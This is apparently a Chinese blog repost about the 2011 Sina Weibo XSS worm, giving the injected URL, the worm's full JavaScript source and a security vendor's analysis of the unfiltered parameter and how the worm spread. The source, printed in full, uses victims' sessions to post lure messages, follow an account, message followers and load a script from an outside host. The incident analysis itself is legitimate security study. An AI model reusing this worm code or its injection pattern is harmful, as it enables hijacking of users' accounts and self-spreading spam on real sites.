主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。
========================================

微博XSS漏洞点
weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.****.com/images/t.js%3e%3c/script%3e?type=update

微博XSS脚本内容(XSS源码)
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id.toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); "发送微博"
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true); "加关注"
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; "给粉丝发私信"
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);

}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

Nevel安全专家:新浪微博”中毒”分析报告

事件的经过

  新浪微博6月28日晚出现大范围”中毒”现象,大量用户自动发送”建党大业中穿帮的地方”,“个税起征点有望提到4000”,“郭美美事件的一些未注意到的细节”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。

 
 此前利用XSS漏洞传播蠕虫的案列在社交网站中曾多次发生,Facebook,Twitter,以及QQ空间,百度空间等都出现过类似的情况。此次新浪
微博”中毒”,立刻引起了Nevel公司安全团队的重视。新浪官方早在第一时间就检测到该病毒,并对漏洞进行了修补,病毒的存活时间不到半个小时,其实
XSS中毒现象也并不像传统意义上的中毒,仅仅存活在服务器上,它基本不会对用户电脑造成很大威胁,但会利用用户在新浪微博上的会话权限进行微博发布、关
注等操作,同时该漏洞也无法获取到用户的密码信息,用户不需要有太多的担忧。

  分析报告:

  下面我们来一起分析下该漏洞的成因:从PAYLOAD上来看,实际上属于一个反射弧性的XSS攻击,

  http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

  URlDecode:

  http://weibo.com/pub/star/g/xyyyd"> ?type=update

 
 攻击者利用微博广播广场页面http://weibo.com/pub/star的一个URL注入了js脚本,那么这个脚本攻击者是怎么注入进去的(新
浪漏洞已修补),我们其实可以根据现象去分析,对于蠕虫攻击,受攻击者的页面应该也都会发布带有攻击性的JS内容,我们可以发现所有被攻击的用户微博上都
会发布一条短连接信息,因此我们可以初步断定问题发生在短连接处,笔者利用自己的微博,尝试发布一条带有短连接形式的微博,直接发布一条含有URL的微
博,如下图:

发布完成后我们查看下网页源代码,如下图:

很显然真实的地址会被写入到action-data的属性中去,因此不难想象漏洞产生原因,由于action-data的值没有进行合适的过滤,导致攻击者可以输入畸形的数据插入JS脚本,闭合前面的双引号和尖括号,从而造成XSS攻击。

  构造Xss_Exploit如下:

  http://weibo.com/pub/star/g/xyyyd"> ?type=update

  注:

  //www.2kt.cn/images/t.js是一种合法的协议写法,与http://www.2kt.cn/images/t.js效果一样。

  完整模拟攻击者的攻击手段:

  1 首先将攻击脚本存放在www.2kt.cn服务器上

  2 建立恶意用户,利用构造的XSS_Exploit发布微博消息

  3 通过发布吸引力强的热门的话题让有影响力的人访问,中招者自动发微博并进行传播

  在攻击过程中,攻击者多次利用短连接将真实的URL进行转换,让一般用户不易发现,以便更好地延长蠕虫的存活时间,短连接在提供简短易记的同时,也带来了一些新的安全问题,攻击者可以利用这些短连接隐藏实际攻击URL来进行攻击.

新浪微博之XSS蠕虫脚本源码讲解的更多相关文章

  1. 手机3D游戏开发:自定义Joystick的相关设置和脚本源码

    Joystick在手游开发中非常常见,也就是在手机屏幕上的虚拟操纵杆,但是Unity3D自带的Joystick贴图比较原始,所以经常有使用自定义贴图的需求. 下面就来演示一下如何实现自定义JoySti ...

  2. (3.4)mysql基础深入——mysql.server启动脚本源码阅读与分析

    (3.4)mysql基础深入——mysql.server启动脚本源码阅读与分析 my.server主要分为3大部分 [1]变量初始化部分 [2]函数声明部分 [3]具体执行部分 #!/bin/sh # ...

  3. Samy XSS Worm之源码讲解

    说到Web安全和XSS跨站脚本技术,几乎所有的书都会提到Samy Worm,这是在2005年感染了mySpace社交网络上百万用户的蠕虫.正如Morris蠕虫是互联网第一个蠕虫, Samy Worm则 ...

  4. gradle脚本源码查看环境搭建

    背景 我刚入门学习gradle时,网上资料都是说通过gradle的api查看并学习脚本编写,但是api一般只有接口说明,并不能深入了解各个api的实现逻辑,有时就会对一些脚本的写法感到疑惑.通过搭建源 ...

  5. Tomcat的启停脚本源码解析

    Tomcat是一款我们平时开发过程中最常用到的Servlet容器.本系列博客会记录Tomcat的整体架构.主要组件.IO线程模型.请求在Tomcat内部的流转过程以及一些Tomcat调优的相关知识. ...

  6. 一篇很好的关于mysqld_safe脚本源码解读的文章,收藏了!!

    #!/bin/sh # 一些状态变量的定义 KILL_MYSQLD=; # 试图kill多余的mysqld_safe程序,1表示需要kill MYSQLD= # mysqld二进制可执行文件的名称 n ...

  7. Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表

    Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表 一个个人觉得比较简单小巧的软件. 下面就如何编写如何发布打包来介绍一下吧! 先下载mysql的库文件链接:http://files. ...

  8. 源码讲解 node+mongodb 建站攻略(一期)第二节

    源码讲解 node+mongodb 建站攻略(一期)第二节 上一节,我们完成了模拟数据,这次我们来玩儿真正的数据库,mongodb. 代码http://www.imlwj.com/download/n ...

  9. 《数据结构-C语言版》(严蔚敏,吴伟民版)课本源码+习题集解析使用说明

    <数据结构-C语言版>(严蔚敏,吴伟民版)课本源码+习题集解析使用说明 先附上文档归类目录: 课本源码合辑  链接☛☛☛ <数据结构>课本源码合辑 习题集全解析  链接☛☛☛  ...

随机推荐

  1. STM32F0xx_SPI读写(Flash)配置详细过程

    Ⅰ.概述 关于SPI(Serial Peripheral Interface)串行外设接口可以说是单片机或者嵌入式软件开发人员必须掌握的一项通信方式,就是你在面试相关工作的时候都可能会问及这个问题.在 ...

  2. python 函数对象(函数式编程 lambda、map、filter、reduce)、闭包(closure)

    1.函数对象 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 秉承着一切皆对象的理念,我们再次回头来看函数(function).函 ...

  3. Python学习教程(learning Python)--2.2 Python下的变量基础

    变量的基本概念,变量可以这样去理解,变量是一个值,这个值存储在计算机的内存里.以 网购为例,您在选购傻商品的时候,是在不同页面里选不同的商品,选好一件点击“放入购物车”,选完了再点击去结帐,这些商品的 ...

  4. XAML(4) - 标记扩展

    在为元素设置值时, 可以直接设置值, 但有时标记扩展非常有帮助.标记扩展包含花括号,其后是定义了标记扩展类型的字符串标志. 下面是一个Static Resource标记扩展: <Button N ...

  5. matlab封装DLL混合编程总结

    最近做了个项目要用到matlab做些算法处理,然后用.net项目调用这个类,我把这个matlab封装dll总结了下如下: matlab是商业数学软件,优势是在算法开发上面有很强的功能,提供了很多数学算 ...

  6. JavaScript高级程序设计之JSON

    IE8以下请求助神之Douglas Crockford:https://github.com/douglascrockford/json-js JSON是一种格式化的字符串,特别适合在网络上传输,由D ...

  7. 查看图片真正的格式,在不知道扩展名的情况下区分是jpeg还是bmp

    用系统自带的画图软件打开图片,然后按文件-->另存为就会弹出保存窗口.保存窗口的保存类形就是"照片真正的格式".

  8. 简单修改 MySQL 的 root 账号密码

    首先这是一篇非常非常初级的教程. 平时为了方便,经常是直接在网上下载 PHP + MySQL 的集成环境,但有一些 MySQL 的 root 账号是没有密码的(例如大名鼎鼎的 XAMPP 就是这样), ...

  9. 受限玻尔兹曼机RBM—简易详解

  10. mui开发webapp(1)

    mui开发注意事项 Mui HTML5开发框架 mui是一个高性能的HTML5开发框架,从UI到效率,都在极力追求原生体验:这个框架自身有一些规则,刚接触的同学不很熟悉,特总结本文:想了解mui更详细 ...